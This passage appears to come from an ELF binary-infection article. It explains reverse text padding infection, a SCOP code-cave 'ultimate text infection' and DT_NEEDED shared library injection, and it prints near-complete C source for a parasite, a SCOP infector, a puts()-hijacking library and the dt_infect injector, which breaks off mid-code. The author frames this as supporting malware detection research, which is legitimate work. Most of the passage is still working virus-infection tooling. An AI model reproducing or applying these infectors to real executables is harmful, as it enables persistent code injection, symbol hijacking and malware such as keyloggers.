PT_LOAD at a minimum 259 | */ 260 | if (segment.offset == 0 && segment.type == PT_LOAD) { 261 | struct elf_segment new_text; 262 | uint64_t parasite_vaddr, old_e_entry, end_of_text; 263 | 264 | text_vaddr = segment.vaddr; 265 | parasite_vaddr = segment.vaddr + segment.filesz; 266 | old_e_entry = elf_entry_point(&obj); 267 | end_of_text = segment.offset + segment.filesz; 268 | memcpy(&new_text, &segment, sizeof(segment)); 269 | new_text.filesz += parasite_size; 270 | new_text.memsz += parasite_size; 271 | elf_segment_modify(&obj, p_iter.index - 1, &new_text, 272 | &error); 273 | found_text = true; 274 | } 275 | } 276 | if (found_text == true && segment.vaddr > text_vaddr) { 277 | /* 278 | * If we have found the text segment, then we must adjust 279 | * the subsequent segment's p_offset's. 280 | */ 281 | struct elf_segment new_segment; 282 | memcpy(&new_segment, &segment, sizeof(segment)); 283 | new_segment.offset += (parasite_size + ((PAGE_SIZE - 1) & ~(PAGE_SIZE - 1)); 284 | elf_segment_modify(&obj, p_iter.index - 1, &new_segment, 285 | &error); 286 | } 287 | ehdr->e_entry = parasite_vaddr; 288 | /* 289 | * Then of course you must adjust ehdr->e_shoff accordingly 290 | * and ehdr->e_entry can point to your parasite code. 291 | */ 292 | } 293 | ... 294 | 295 | -= 3.0 Traditional reverse text padding infections 296 | 297 | A reverse text padding infection of which a good example can be demonstrated in 298 | the Skeksi Virus [6], is the concept of: 299 | 300 | 1. subtracting the text segment's p_vaddr by PAGE_ALIGN(parasite_len) 301 | 302 | 2. extending the size of the text segment by adjusting p_filesz, and p_memsz by 303 | PAGE_ALIGN(parasite_len) bytes 304 | 305 | 3. shifting the program header table and interp segment forward 306 | PAGE_ALIGN(parasite_len) bytes by adjusting p_offset's accordingly 307 | 308 | 4. Update elf_hdr->e_shoff, i.e. elf_hdr->e_shoff += PAGE_ALIGN(parasite_len) 309 | 310 | 5. Update the .text section's offset and address to match where the parasite 311 | begins, i.e. shdr->sh_offset = old_text_base + sizeof(ElfN_Ehdr) 312 | 313 | -= 3.1 Qualities of a reverse text padding infection 314 | 315 | The primary benefits of this infection are that it allows a significantly large 316 | amount of space to inject code in ET_EXEC files. On a 64bit Linux system with 317 | the standard linker script used, an executable has a text base address of 318 | 0x400000, thus the maximum parasite length would be 0x400000 - 319 | PAGE_ALIGN_UP(sizeof(ElfN_Ehdr)) = 4.1MB of space. It is also a favorable infection 320 | because it allows the modification of e_entry (Entry point) to point in 321 | the .text section which could potentially circumvent weak Virus heuristics. 322 | 323 | The primary disadvantage of this technique is that it will not work with PIE 324 | executables. In theory it could work with SCOP binaries [1] by extending the 325 | 2nd PT_LOAD segment in reverse, but as we will see shortly there is a much 326 | better infection technique for regular and PIE executables when SCOP [1] is 327 | being used. 328 | 329 | Illustration 1.1 330 | 331 | Before infection: 332 | 333 | 0x400000 0x600e10 334 | [elf_hdr][phdrs][interp][text_segment(R+X)][data_segment(R+W)] 335 | 336 | Illustration 1.2 337 | 338 | After infection: 339 | 340 | 0x3ff000 0x600e10 341 | [elf_hdr][parasite][phdrs][interp][text_segment(R+X)][data_segment(R+W)] 342 | 343 | It could also be visualized in a different way since the text segment 344 | technically begins at the beginning of the file at the 0th offset where elf_hdr 345 | is depicted. 346 | 347 | Illustration 1.3 348 | 349 | 0x3ff000 0x600e10 350 | [reverse text extension <-> original text(R+X)][data segment(R+W)] 351 | 352 | -= 3.2 SCOP Reverse text infections 353 | 354 | With SCOP linked binaries we have a theoretical approach. SCOP binaries are by 355 | convention compiled and linked as PIE executable's which pretty much exclude 356 | them from this infection type. There is one theoretical idea if which applied you 357 | should be able to perform the algorithm as it is already laid out, but instead 358 | of reversing PT_LOAD[0] which hase a base address of 0x0, you can reverse the 359 | PT_LOAD[1] segment which is the text segment's R+X code separated segment in 360 | SCOP binaries. With that said, there is a much better infection method for SCOP 361 | binaries that lends itself very nicely to those who want to easily insert large 362 | amounts of code into the target binary without having to make any adjustments 363 | to the ELF file headers. 364 | 365 | -= 3.3 UTI (Ultimate text infection) for SCOP ELF binaries 366 | 367 | This is where we get into some more fresh material... 368 | 369 | $ gcc -fPIC -pie test.c -o test 370 | $ gcc -fPIC -pie -Wl,-z,separate-code test.c -o test_scop 371 | 372 | $ ls -lh test 373 | -rwxrwxr-x 1 elfmaster elfmaster 8.1K Mar 28 13:44 test 374 | $ ls -lh test_scop 375 | -rwxrwxr-x 1 elfmaster elfmaster 4.1M Mar 28 13:44 test_scop 376 | $ 377 | 378 | Notice that there is an enormous difference in file size for these two 379 | executables 'test' and 'test_scop' which contain approximately the same amount 380 | of code and data. In the original writeup for SCOP [1] we hadn't yet paid note 381 | to this, but it is an important detail that conveniently lends itself to Virus 382 | authors and other binary hackers who want to instrument or modify a binary in 383 | some arbitrary way. Whether or not this was an oversight by the ld(1) 384 | developers I am not entirely sure, but I haven't yet found a reason to justify 385 | this caveat. 386 | 387 | The exact details on why the test_scop is so much larger than test is because 388 | SCOP binaries have p_offset's that are identical to their p_vaddr's for the 389 | first 3 load segments. This is not necessary, because the only requirement for 390 | an executable segment to load is that its p_vaddr and p_offset must be 391 | congruent modulo a PAGE_SIZE. Looking at the first 3 PT_LOAD segments we can 392 | see that there is a vast amount of space on-disk in between the 1st and 2nd 393 | segment, and in between the 2nd and 3rd segment. The 2nd segment is R+X so this 394 | is ideally the one we want to use. In the test_scop binary the 2nd PT_LOAD 395 | segment has a p_filesz of 0x24d (589 decimal) bytes. The offset of the 3rd 396 | segment is at 0x400000. This means that we have an injection space available to 397 | us that can be calculated by PT_LOAD[2].p_offset - PT_LOAD[1].p_offset + 398 | PT_LOAD[1].p_filesz. For the test_scop binary this results in 2096563 bytes of 399 | padding length. This is an unusually large code cave for ELF binary types. 400 | 401 | As it turns out the SCOP [1] binary mitigation not only helps tighten down the ROP 402 | gadget regions, but it eases the process of inserting code into the executable. 403 | 404 | Illustration 1.4 405 | PT_LOAD[0] PT_LOAD[1] PT_LOAD[2] PT_LOAD[3] 406 | [elf_hdr][phdrs][text rdonly][text rd+exec][text-parasite][text rdonly][data] 407 | 408 | -= 3.4 SCOP UTI Algorithm 409 | 410 | 1. Insert code into file at PT_LOAD[1].p_offset + PT_LOAD[1].p_filesz 411 | 2. Backup original PT_LOAD[1].p_filesz: size_t o_filesz = PT_LOAD[1].p_filesz; 412 | 2. Adjust PT_LOAD[1].p_filesz += code_length 413 | 3. Adjust PT_LOAD[1].p_memsz += code_length 414 | 4. Modify ehdr->e_entry to point at PT_LOAD[1].p_vaddr + o_filesz 415 | 5. In our case egg.c contains PIC code for jumping back to the original 416 | entry point which changes at runtime due to ASLR. 417 | 418 | -= 3.5 Note on resolving Elf_Hdr->e_entry in PIE executable's 419 | 420 | If the target executable is PIE, then the parasite must be able to calculate 421 | the original entry point address in certain circumstances; primarily when the 422 | branch instruction used requires an absolute address. The Elf_hdr->e_entry will 423 | change at runtime once the kernel has randomly relocated the executable to an 424 | arbitrary address space. Our parasite code egg.c has a text and data segment 425 | merged into one PT_LOAD segment, this allows for easy access to the data 426 | segment with position independent code. The egg has two variables that are 427 | initialized and therefore stored in the .data section (And explicitly not the 428 | .bss). We have the following two unsigned global integers: 429 | 430 | static unsigned long o_entry __attribute__((section(".data"))) = {0x00}; static 431 | unsigned long vaddr_of_get_rip __attribute__((section(".data"))) = {0x00}; 432 | 433 | During the injection of egg into the target binary we load o_entry with the 434 | value of Elf_hdr->e_entry which is an address into the PIE executable and will 435 | be changed at runtime. We load vaddr_of_get_rip with the address of where we 436 | injected the get_rip() function from ./egg into target. Even though the 437 | addresses of get_rip() and Elf_hdr->e_entry are going to change at runtime, 438 | they are still at a fixed distance from eachother, so we can use the delta 439 | between them and subtract it from the return value of the get_rip() function 440 | which returns the address of the current instruction pointer. We are therefore 441 | using IP relative addressing tricks that are not at all new to virus writers to 442 | jump back to the original entry point. Using IP relative addressing tricks to 443 | calculate the new e_entry address is only necessary when using branch 444 | instructions that require an absolute address such as indirect jmp, call, 445 | or push/ret combo. Otherwise you can simply use an immediate jmp or 446 | call on the original e_entry value. 447 | 448 | The get_rip() technique is old-school and primarily useful for finding the 449 | address of objects within its own body of code (The parasite). 450 | 451 | 452 | -- egg.c (The parasite) -- 453 | 454 | /* 455 | * scop_infect.c will patch these initialized .data 456 | * section variables. We initialize them so that 457 | * they do not get stored into the .bss which is 458 | * non-existent on disk. We patch the variables with 459 | * with the value of e_entry, and the address of where 460 | * the get_rip() function gets injected into the target 461 | * binary. These are then subtracted from eachother and 462 | * from the instruction pointer to get the correct 463 | * address to jump to. 464 | */ 465 | static unsigned long o_entry __attribute__((section(".data"))) = {0x00}; 466 | static unsigned long vaddr_of_get_rip __attribute__((section(".data"))) = {0x00}; 467 | 468 | unsigned long get_rip(void); 469 | 470 | extern long get_rip_label; 471 | extern long real_start; 472 | 473 | /* 474 | * Code to jump back to entry point 475 | */ 476 | int volatile _start() { 477 | /* 478 | * What we are doing essentially: 479 | * size_t delta = &get_rip_injected_code - original_entry_point; 480 | * relocated_entry_point = %rip - delta; 481 | */ 482 | unsigned long n_entry = get_rip() - (vaddr_of_get_rip - o_entry); 483 | 484 | __asm__ volatile ( 485 | "movq %0, %%rbx\n" 486 | "jmpq *%0" :: "g"(n_entry) 487 | ); 488 | } 489 | 490 | unsigned long get_rip(void) 491 | { 492 | long ret; 493 | __asm__ __volatile__ 494 | ( 495 | "call get_rip_label \n" 496 | ".globl get_rip_label \n" 497 | "get_rip_label: \n" 498 | "pop %%rax \n" 499 | "mov %%rax, %0" : "=r"(ret) 500 | ); 501 | 502 | } 503 | 504 | 505 | -- infector (scop_infector.c) -- 506 | 507 | #define _GNU_SOURCE 508 | #include 509 | #include 510 | #include 511 | #include 512 | #include 513 | #include 514 | #include 515 | #include 516 | #include 517 | #include 518 | #include 519 | #include 520 | 521 | #include "/opt/elfmaster/include/libelfmaster.h" 522 | 523 | #define PAGE_ALIGN_UP(x) ((x + 4095) & ~4095) 524 | #define PAGE_ALIGN(x) (x & ~4095) 525 | 526 | #define TMP ".xyz.bitch" 527 | 528 | size_t code_len = 0; 529 | static uint8_t *code = NULL; 530 | 531 | bool 532 | patch_payload(const char *path, elfobj_t *target, elfobj_t *egg, 533 | uint64_t injection_vaddr) 534 | { 535 | elf_error_t error; 536 | struct elf_symbol get_rip_symbol, symbol, real_start_symbol; 537 | struct elf_section section; 538 | uint8_t *ptr; 539 | size_t delta; 540 | 541 | if (elf_open_object(path, egg, 542 | ELF_LOAD_F_STRICT|ELF_LOAD_F_MODIFY, &error) == false) { 543 | fprintf(stderr, "elf_open_object(): %s\n", elf_error_msg(&error)); 544 | return false; 545 | } 546 | 547 | if (elf_symbol_by_name(egg, "get_rip", &get_rip_symbol) == false) { 548 | fprintf(stderr, "elf_symbol_by_name(\"get_rip\", ...)\n"); 549 | return false; 550 | } 551 | if (elf_symbol_by_name(egg, "_start", &real_start_symbol) == false) { 552 | fprintf(stderr, "elf_symbol_by_name(\"real_start\", ...)\n"); 553 | return false; 554 | } 555 | 556 | delta = get_rip_symbol.value - real_start_symbol.value; 557 | injection_vaddr += delta; 558 | 559 | elf_symbol_by_name(egg, "vaddr_of_get_rip", &symbol); 560 | ptr = elf_address_pointer(egg, symbol.value); 561 | *(uint64_t *)&ptr[0] = injection_vaddr; 562 | elf_symbol_by_name(egg, "o_entry", &symbol); 563 | ptr = elf_address_pointer(egg, symbol.value); 564 | *(uint64_t *)&ptr[0] = elf_entry_point(target); 565 | 566 | return true; 567 | } 568 | 569 | int main(int argc, char **argv) 570 | { 571 | int fd; 572 | elfobj_t elfobj; 573 | elf_error_t error; 574 | struct elf_segment segment; 575 | elf_segment_iterator_t p_iter; 576 | size_t o_filesz; 577 | size_t code_len; 578 | uint64_t text_offset, text_vaddr; 579 | ssize_t ret; 580 | elf_section_iterator_t s_iter; 581 | struct elf_section s_entry; 582 | struct elf_symbol symbol; 583 | uint64_t egg_start_offset; 584 | elfobj_t eggobj; 585 | uint8_t *eggptr; 586 | size_t eggsiz; 587 | 588 | if (argc < 2) { 589 | printf("Usage: %s \n", argv[0]); 590 | exit(EXIT_SUCCESS); 591 | } 592 | if (elf_open_object(argv[1], &elfobj, 593 | ELF_LOAD_F_STRICT|ELF_LOAD_F_MODIFY, &error) == false) { 594 | fprintf(stderr, "elf_open_object(): %s\n", elf_error_msg(&error)); 595 | exit(EXIT_FAILURE); 596 | } 597 | if (elf_flags(&elfobj, ELF_SCOP_F) == false) { 598 | fprintf(stderr, "%s is not a SCOP binary\n", elf_pathname(&elfobj)); 599 | exit(EXIT_SUCCESS); 600 | } 601 | elf_segment_iterator_init(&elfobj, &p_iter); 602 | while (elf_segment_iterator_next(&p_iter, &segment) == ELF_ITER_OK) { 603 | if (segment.type == PT_LOAD && segment.flags == (PF_R|PF_X)) { 604 | struct elf_segment s; 605 | 606 | text_offset = segment.offset; 607 | o_filesz = segment.filesz; 608 | memcpy(&s, &segment, sizeof(s)); 609 | s.filesz += sizeof(code); 610 | s.memsz += sizeof(code); 611 | text_vaddr = segment.vaddr; 612 | if (elf_segment_modify(&elfobj, p_iter.index - 1, &s, &error) == false) { 613 | fprintf("stderr, segment_segment_modify(): %s\n", 614 | elf_error_msg(&error)); 615 | exit(EXIT_FAILURE); 616 | } 617 | break; 618 | } 619 | } 620 | /* 621 | * Patch ./egg so that its two global variables 'uint64_t o_entry' 622 | * and 'uint64_t vaddr_of_get_rip' are set to the original entry 623 | * point of the target executable, and the address of where within 624 | * that executable the get_rip() function will be injected. 625 | */ 626 | if (patch_payload("./egg", &elfobj, &eggobj, 627 | text_offset + o_filesz) == false) { 628 | fprintf(stderr, "Failed to patch payload \"./egg\"\n"); 629 | goto done; 630 | } 631 | 632 | /* 633 | * NOTE We must use PAGE_ALIGN on elf_text_base() because it's PT_LOAD 634 | * is a merged text and data segment, which results in having a p_offset 635 | * larger than 0, even though the initial ELF file header actually starts 636 | * at offset 0. Check out 'gcc -N -nostdlib -static code.c -o code' and 637 | * examine phdr's etc. to understand what I mean. 638 | */ 639 | elf_symbol_by_name(&eggobj, "_start", &symbol); 640 | egg_start_offset = symbol.value - PAGE_ALIGN(elf_text_base(&eggobj)); 641 | eggptr = elf_offset_pointer(&eggobj, egg_start_offset); 642 | eggsiz = elf_size(&eggobj) - egg_start_offset; 643 | 644 | switch(elf_class(&elfobj)) { 645 | case elfclass32: 646 | elfobj.ehdr32->e_entry = text_vaddr + o_filesz; 647 | break; 648 | case elfclass64: 649 | elfobj.ehdr64->e_entry = text_vaddr + o_filesz; 650 | break; 651 | } 652 | /* 653 | * Extend the size of the section that the parasite code 654 | * ends up in 655 | */ 656 | elf_section_iterator_init(&elfobj, &s_iter); 657 | while (elf_section_iterator_next(&s_iter, &s_entry) 658 | == ELF_ITER_OK) { 659 | if (s_entry.size + s_entry.address == text_vaddr + o_filesz) { 660 | s_entry.size += eggsiz; 661 | elf_section_modify(&elfobj, s_iter.index - 1, 662 | &s_entry, &error); 663 | } 664 | } 665 | elf_section_commit(&elfobj); 666 | 667 | fd = open(TMP, O_RDWR|O_CREAT|O_TRUNC, 0777); 668 | ret = write(fd, elfobj.mem, text_offset + o_filesz); 669 | ret = write(fd, eggptr, eggsiz); 670 | ret = write(fd, &elfobj.mem[text_offset + o_filesz + eggsiz], 671 | elf_size(&elfobj) - text_offset + o_filesz + eggsiz); 672 | if (ret < 0) { 673 | perror("write"); 674 | goto done; 675 | } 676 | done: 677 | close(fd); 678 | rename(TMP, elf_pathname(&elfobj)); 679 | elf_close_object(&elfobj); 680 | } 681 | 682 | -= 4.0 Resurrecting the past with DT_NEEDED .so injection techniques 683 | 684 | Recently I have been building ELF malware detection technology and am not always 685 | able to find the samples I need for certain infection types. I needed a 686 | DT_NEEDED infector, and one that was capable of overriding existing symbols 687 | through shared library resolution precedence-- this results in a sort of 688 | permanent LD_PRELOAD effect. Traditionally hackers have overwritten the 689 | DT_DEBUG dynamic tag and changed it to a DT_NEEDED, which is quite easy to 690 | detect. dt_infect v1.0 https://github.com/elfmaster/dt_infect [8] is able to 691 | infect using both methods. Originally I thought that Mayhem, the innovative 692 | force (and brilliant hacker all around) behind ERESI [7] had only written about 693 | DT_DEBUG overwrites, but I took a skim over a rather old phrack publication 694 | [6] and discovered that he had already covered both DT_NEEDED infection 695 | techniques; including precedence overriding for symbol hijacking. Props 696 | to Mayhem for paving the way for many others. 697 | 698 | I'm not entirely sure of the algorithm that ERESI [7] uses for DT_NEEDED 699 | infection, but I imagine it is very similar to how dt_infect [8] works. 700 | 701 | -= 4.1 Example of using dt_infect for shared library injection 702 | 703 | The goal of this infection is to add a shared library dependency to a binary 704 | so that the library is loaded before any others. This is similar to using 705 | LD_PRELOAD. Create a shared library with a function from libc.so that you 706 | want to hijack, and modify its behavior before calling the original function 707 | using dlsym(). This is essentially shared library injection into an executable 708 | and can be used for all sorts of creative reasons: keyloggers, virus infection, 709 | security instrumentation, etc. In the following example we hijack the function 710 | called 'void puts(const char *)' from libc. The libevil.c code is the shared 711 | library we are going to inject that has a modified version of puts(). 712 | 713 | $ ./test 714 | I am a host executable for testing purposes 715 | $ readelf -d test | grep NEEDED 716 | 0x0000000000000001 (NEEDED) Shared library: [libc.so.6] 717 | $ ./inject test 718 | Creating reverse text padding infection to store new .dynstr section 719 | Updating .dynstr section 720 | Modified d_entry.value of DT_STRTAB to: 3ff040 (index: 9) 721 | Successfully injected 'libevil.so' into target: 'test'. 722 | Make sure to move 'libevil.so' into one of the shared object search paths, i.e. /lib/x86_64-gnu-linux/ 723 | 724 | $ sudo cp libevil.so /lib/x86_64-linux-gnu/ 725 | $ sudo ldconfig 726 | $ ./test 727 | $ readelf -d test | grep NEEDED 728 | 0x0000000000000001 (NEEDED) Shared library: [libevil.so] 729 | 0x0000000000000001 (NEEDED) Shared library: [libc.so.6] 730 | $ ./test 731 | 1 4m 4 h057 3x3cu74bl3 f0r 73571ng purp0535 732 | $ 733 | 734 | 735 | -= 4.2 DT_NEEDED infection algorithm for symbol hijacking 736 | 737 | NOTE: I naively used a reverse-text-padding infection to make room 738 | for the new .dynstr section. This however does not work with PIE 739 | binaries due to the constraints on that infection method. This is 740 | of course trivial to fix by simply changing the injection method 741 | to something that works with PIE (i.e. text padding infection, 742 | or PT_NOTE to PT_LOAD infection, UTI infection etc.). 743 | 744 | 1. Reverse text infection to make space for a new .dynstr section 745 | 2. memcpy old .dynstr into the code cave created by step 1 746 | 3. Append a terminated string with the evil shared library basename to 747 | the new .dynstr 748 | 4. Confirm there is enough space after the dynamic segment to shift all 749 | ElfN_Dyn entries forward by sizeof(Elf_Dyn) entry bytes. 750 | 5. Re-create the dynamic segment in the following way: 751 | - Insert a new DT_NEEDED entry before any other dynamic tags 752 | and its d_un.d_val should point to dynstr_vaddr + old_dynstr_len 753 | - Modify DT_STRTAB tag so that d_un.d_val = dynstr_vaddr 754 | - The new dynamic segment should look something like this: 755 | [DT_NEEDED: "evil_lib.so"] 756 | [DT_NEEDED: "libc.so"] 757 | [.. several more tags ...] 758 | [DT_STRTAB: 0x3ff000] (Address of new .dynstr location) 759 | 760 | 761 | The code in libevil.c will demonstrate how we modify the behavior of the 'void 762 | puts(const char *)' function from libc.so. The dt_infect code below that will 763 | demonstrate the algorithm for injecting the libevil.so dependency into a target 764 | executable. This will only work with executables that are ET_EXEC's due to the 765 | reverse text padding injection for the .dynstr table. Notice that dt_infect has 766 | a -f option to overwrite the DT_DEBUG tag instead of overriding other 767 | dependencies with your own shared object; this will however require manual 768 | modification of the .got.plt table to call your functions. 769 | 770 | -= 4.3 The code for DT_NEEDED infection with symbol hijacking. 771 | 772 | ---- libevil.c ---- 773 | 774 | /* 775 | * l33t sp34k version of puts() for DT_NEEDED .so injection 776 | * elfmaster 2/15/2019 777 | */ 778 | #define _GNU_SOURCE 779 | #include 780 | 781 | /* 782 | * This code is a l33t sp34k version of puts 783 | */ 784 | 785 | long _write(long, char *, unsigned long); 786 | 787 | char _toupper(char c) 788 | { 789 | if( c >='a' && c <= 'z') 790 | return (c = c +'A' - 'a'); 791 | return c; 792 | } 793 | 794 | void ___memset(void *mem, unsigned char byte, unsigned int len) 795 | { 796 | unsigned char *p = (unsigned char *)mem; 797 | int i = len; 798 | while (i--) { 799 | *p = byte; 800 | p++; 801 | } 802 | } 803 | 804 | int puts(const char *string) 805 | { 806 | char *s = (char *)string; 807 | char new[1024]; 808 | int index = 0; 809 | 810 | int (*o_puts)(const char *); 811 | 812 | o_puts = (int (*)(const char *))dlsym(RTLD_NEXT, "puts"); 813 | 814 | ___memset(new, 0, 1024); 815 | while (*s != '\0' && index < 1024) { 816 | switch(_toupper(*s)) { 817 | case 'I': 818 | new[index++] = '1'; 819 | break; 820 | case 'E': 821 | new[index++] = '3'; 822 | break; 823 | case 'S': 824 | new[index++] = '5'; 825 | break; 826 | case 'T': 827 | new[index++] = '7'; 828 | break; 829 | case 'O': 830 | new[index++] = '0'; 831 | break; 832 | case 'A': 833 | new[index++] = '4'; 834 | break; 835 | default: 836 | new[index++] = *s; 837 | break; 838 | } 839 | s++; 840 | } 841 | 842 | return o_puts((char *)new); 843 | } 844 | 845 | More interestingly is the code that injects this shared object dependency into 846 | the target executable. 847 | 848 | ---- dt_infect.c ---- 849 | 850 | 851 | #define _GNU_SOURCE 852 | #include 853 | #include 854 | #include 855 | #include 856 | #include 857 | #include 858 | #include 859 | #include 860 | #include 861 | #include 862 | #include 863 | #include 864 | 865 | #include "/opt/elfmaster/include/libelfmaster.h" 866 | 867 | #define PAGE_ALIGN_UP(x) ((x + 4095) & ~4095) 868 | 869 | #define PT_PHDR_INDEX 0 870 | #define PT_INTERP_INDEX 1 871 | 872 | #define TMP "xyz.tmp" 873 | 874 | bool dt_debug_method = false; 875 | bool calculate_new_dynentry_count(elfobj_t *, uint64_t *, uint64_t *); 876 | 877 | /* 878 | * arg1: target elf object 879 | * arg2: string name, i.e. "evil.so" 880 | * arg3: address of .dynstr (Which is now in a different location) 881 | * arg4: offset of "evil.so" within .dynstr 882 | */ 883 | bool 884 | modify_dynamic_segment(elfobj_t *target, uint64_t dynstr_vaddr, 885 | uint64_t evil_offset) 886 | { 887 | bool use_debug_entry = false; 888 | bool res; 889 | uint64_t dcount, dpadsz, index; 890 | uint64_t o_dcount = 0, d_index = 0, dt_debug_index = 0; 891 | elf_dynamic_entry_t d_entry; 892 | elf_dynamic_iterator_t d_iter; 893 | elf_error_t error; 894 | struct tmp_dtags { 895 | bool needed; 896 | uint64_t value; 897 | uint64_t tag; 898 | TAILQ_ENTRY(tmp_dtags) _linkage; 899 | }; 900 | struct tmp_dtags *current; 901 | TAILQ_HEAD(, tmp_dtags) dtags_list; 902 | TAILQ_INIT(&dtags_list); 903 | 904 | if (calculate_new_dynentry_count(target, &dcount, &dpadsz) == false) { 905 | fprintf(stderr, "Failed to calculate padding size after dynamic section\n"); 906 | return false; 907 | } 908 | if (dcount == 0) { 909 | fprintf(stderr, "Not enough room to shift dynamic entries forward" 910 | ", falling back to overwriting DT_DEBUG with DT_NEEDED\n"); 911 | use_debug_entry = true; 912 | } else if (dt_debug_method == true) { 913 | fprintf(stderr, "Forcing DT_DEBUG overwrite. This technique will not give\n" 914 | "your injected shared library functions precedence over any other libraries\n" 915 | "and will therefore require you to manually overwrite the .got.plt entries to\n" 916 | "point at your custom shared library function(s)\n"); 917 | use_debug_entry = true; 918 | } 919 | elf_dynamic_iterator_init(target, &d_iter); 920 | for (;;) { 921 | res = elf_dynamic_iterator_next(&d_iter, &d_entry); 922 | if (res == ELF_ITER_DONE) 923 | break; 924 | if (res == ELF_ITER_ERROR) { 925 | fprintf(stderr, "elf_dynamic_iterator_next failed\n"); 926 | return false; 927 | } 928 | struct tmp_dtags *n = malloc(sizeof(*n)); 929 | 930 | if (n == NULL) { 931 | perror("malloc"); 932 | return false; 933 | } 934 | n->value = d_entry.value; 935 | n->tag = d_entry.tag; 936 | if (n->tag == DT_DEBUG) { 937 | dt_debug_index = d_index; 938 | } 939 | TAILQ_INSERT_TAIL(&dtags_list, n, _linkage); 940 | d_index++; 941 | } 942 | 943 | /* 944 | * In the following code we modify dynamic segment to look like this: 945 | * Original: DT_NEEDED: "libc.so", DT_INIT: 0x4009f0, etc. 946 | * Modified: DT_NEEDED: "evil.so", DT_NEEDED: "libc.so", DT_INIT: 0x4009f0, etc. 947 | * Which acts like a permanent LD_PRELOAD. 948 | * ... 949 | * If there is no room to shift the dynamic entriess forward (Which there in 950 | * general is enough space to add atleast several) then we fall back on a less 951 | * elegant and easier to detect method where we overwrite DT_DEBUG and change 952 | * it to a DT_NEEDED entry. This is easier to detect because of the fact that 953 | * the linker always creates DT_NEEDED entries so that they are contiguous 954 | * whereas in this case the DT_DEBUG that we overwrite is generally about 11 955 | * entries after the last DT_NEEDED entry. 956 | */ 957 | 958 | index = 0; 959 | if (use_debug_entry == false) { 960 | d_entry.tag = DT_NEEDED; 961 | d_entry.value = evil_offset; /* Offset into .dynstr for "evil.so" */ 962 | res = elf_dynamic_modify(target, 0, &d_entry, true, &error); 963 | if (res == false) { 964 | fprintf(stderr, "elf_dynamic_modify failed: %s\n", 965 | elf_error_msg(&error)); 966 | return false; 967 | } 968 | index = 1; 969 | } 970 | 971 | TAILQ_FOREACH(current, &dtags_list, _linkage) { 972 | if (use_debug_entry == true && current->tag == DT_DEBUG) { 973 | if (dt_debug_index == 0) { 974 | printf("Could not find DT_DEBUG entry, injection has failed\n"); 975 | return false; 976 | } 977 | printf("%sOverwriting DT_DEBUG at index: %zu\n", 978 | dcount == 0 ? "Falling back to " : "", dt_debug_index); 979 | d_entry.tag = DT_NEEDED; 980 | d_entry.value = evil_offset; 981 | res = elf_dynamic_modify(target, dt_debug_index, &d_entry, true, &error); 982 | if (res == false) { 983 | fprintf(stderr, "elf_dynamic_modify failed: %s\n", 984 | elf_error_msg(&error)); 985 | return false; 986 | } 987 | goto next; 988 | } 989 | if (current->tag == DT_STRTAB) { 990 | d_entry.tag = DT_STRTAB; 991 | d_entry.value = dynstr_vaddr; 992 | res = elf_dynamic_modify(target, index, &d_entry, true, &error); 993 | if (res == false) { 994 | fprintf(stderr, "elf_dynamic_modify failed: %s\n", 995 | elf_error_msg(&error)); 996 | return false; 997 | } 998 | printf("Modified d_entry.value of DT_STRTAB to: %lx (index: %zu)\n", 999 | d_entry.value, index); 1000 | goto next; 1001 | } 1002 | #if 0 1003 | printf("Updating dyn[%zu]\n", index); 1004 | #endif 1005 | d_entry.tag = current->tag; 1006 | d_entry.value = current->value; 1007 | res = elf_dynamic_modify(target, index, &d_entry, true, &error); 1008 | if (res == false) { 1009 | fprintf(stderr, "elf_dynamic_modify failed: %s\n", 1010 | elf_error_msg(&error)); 1011 | return false; 1012 | } 1013 | next: 1014 | index++; 1015 | } 1016 | return true; 1017 | } 1018 | 1019 | /* 1020 | * This function will tell us how many new ElfN_Dyn entries 1021 | * can be added to the dynamic segment, as there is often space 1022 | * between .dynamic and the section following it. 1023 | */ 1024 | bool 1025 | calculate_new_dynentry_count(elfobj_t *target, uint64_t *count, uint64_t *size) 1026 | { 1027 | elf_section_iterator_t s_iter; 1028 | struct elf_section section; 1029 | size_t len; 1030 | size_t dynsz = elf_class(target) == elfclass32 ? sizeof(Elf32_Dyn) : 1031 | sizeof(Elf64_Dyn); 1032 | uint64_t dyn_offset = 0; 1033 | 1034 | *count = 0; 1035 | *size = 0; 1036 | 1037 | elf_section_iterator_init(target, &s_iter); 1038 | while (elf_section_iterator_next(&s_iter, §ion) == ELF_ITER_OK) { 1039 | if (strcmp(section.name, ".dynamic") == 0) { 1040 | dyn_offset = section.offset; 1041 | } else if (dyn_offset > 0) { 1042 | len = section.offset - dyn_offset; 1043 | *size = len; 1044 | *count = len / dynsz; 1045 | return true; 1046 | } 1047 | } 1048 | return false; 1049 | } 1050 | 1051 | int main(int argc, char **argv) 1052 | { 1053 | uint8_t *mem; 1054 | elfobj_t so_obj; 1055 | elfobj_t target; 1056 | bool res, text_found = false; 1057 | elf_segment_iterator_t p_iter; 1058 | struct elf_segment segment; 1059 | struct elf_section section, dynstr_shdr; 1060 | elf_section_iterator_t s_iter; 1061 | size_t paddingSize, o_dynstr_size, dynstr_size, ehdr_size, final_len; 1062 | uint64_t old_base, new_base, n_dynstr_vaddr, evil_string_offset; 1063 | elf_error_t error; 1064 | char *evil_lib, *executable; 1065 | int fd; 1066 | ssize_t b; 1067 | 1068 | if (argc < 3) { 1069 | printf("Usage: %s [-f] \n", argv[0]); 1070 | printf("-f Force DT_DEBUG overwrite technique\n"); 1071 | exit(0); 1072 | } 1073 | if (argv[1][0] == '-' && argv[1][1] == 'f') { 1074 | dt_debug_method = true; 1075 | evil_lib = argv[2]; 1076 | executable = argv[3]; 1077 | } else { 1078 | evil_lib = argv[1]; 1079 | executable = argv[2]; 1080 | } 1081 | res = elf_open_object(executable, &target, 1082 | ELF_LOAD_F_STRICT|ELF_LOAD_F_MODIFY, &error); 1083 | if (res == false) { 1084 | fprintf(stderr, "failed to open %s: %s\n", executable, elf_error_msg(&error)); 1085 | exit(-1); 1086 | } 1087 | ehdr_size = elf_class(&target) == elfclass32 ? 1088 | sizeof(Elf32_Ehdr) : sizeof(Elf64_Ehdr); 1089 | 1090 | res = elf_section_by_name(&target, ".dynstr", &dynstr_shdr); 1091 | if (res == false) { 1092 | perror("failed to find section .dynstr\n"); 1093 | exit(-1); 1094 | } 1095 | paddingSize = PAGE_ALIGN_UP(dynstr_shdr.size); 1096 | 1097 | res = elf_segment_by_index(&target, PT_PHDR_INDEX, &segment); 1098 | if (res == false) { 1099 | fprintf(stderr, "Failed to find segment: %d\n", PT_PHDR_INDEX); 1100 | goto done; 1101 | } 1102 | segment.offset += paddingSize; 1103 | res = elf_segment_modify(&target, 